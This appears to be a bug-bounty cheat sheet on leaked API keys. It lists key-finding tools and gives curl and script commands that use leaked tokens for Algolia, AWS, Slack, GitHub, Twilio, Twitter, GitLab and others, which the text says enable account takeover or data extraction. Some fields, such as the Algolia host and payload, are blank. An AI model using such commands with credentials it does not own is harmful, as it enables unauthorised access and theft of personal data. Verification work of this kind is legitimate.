# API Key Leaks > The API key is a unique identifier that is used to authenticate requests associated with your project. Some developpers might hardcode them or leave it on public shares. ## Summary - [Tools](#tools) - [Exploit](#exploit) - [Algolia](#algolia) - [AWS Access Key ID & Secret](#aws-access-key-id--secret) - [Slack API Token](#slack-api-token) - [Facebook Access Token](#facebook-access-token) - [Github client id and client secret](#github-client-id-and-client-secret) - [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token) - [Twitter API Secret](#twitter-api-secret) - [Twitter Bearer Token](#twitter-bearer-token) - [Gitlab Personal Access Token](#gitlab-personal-access-token) ## Tools - [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder) - [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks) ## Exploit The following commands can be used to takeover accounts or extract personnal informations from the API using the leaked token. ### Algolia ```powershell curl --request PUT \ --url https://-1.algolianet.com/1/indexes//settings \ --header 'content-type: application/json' \ --header 'x-algolia-api-key: ' \ --header 'x-algolia-application-id: ' \ --data '{"highlightPreTag": ""}' ``` ### AWS Access Key ID & Secret ```powershell git clone https://github.com/andresriancho/enumerate-iam cd enumerate-iam ./enumerate-iam.py --access-key AKIA... --secret-key XXX.. ``` ### Slack API Token ```powershell curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1" ``` ### Facebook Access Token ```powershell curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2 ``` ### Github client id and client secret ```powershell curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy' ``` ### Twilio Account_sid and Auth token ```powershell curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN ``` ### Twitter API Secret ```powershell curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token' ``` ### Twitter Bearer Token ```powershell curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN' ``` ### Gitlab Personal Access Token ```powershell curl "https://gitlab.example.com/api/v4/projects?private_token=" ``` ## References * [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d) * [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)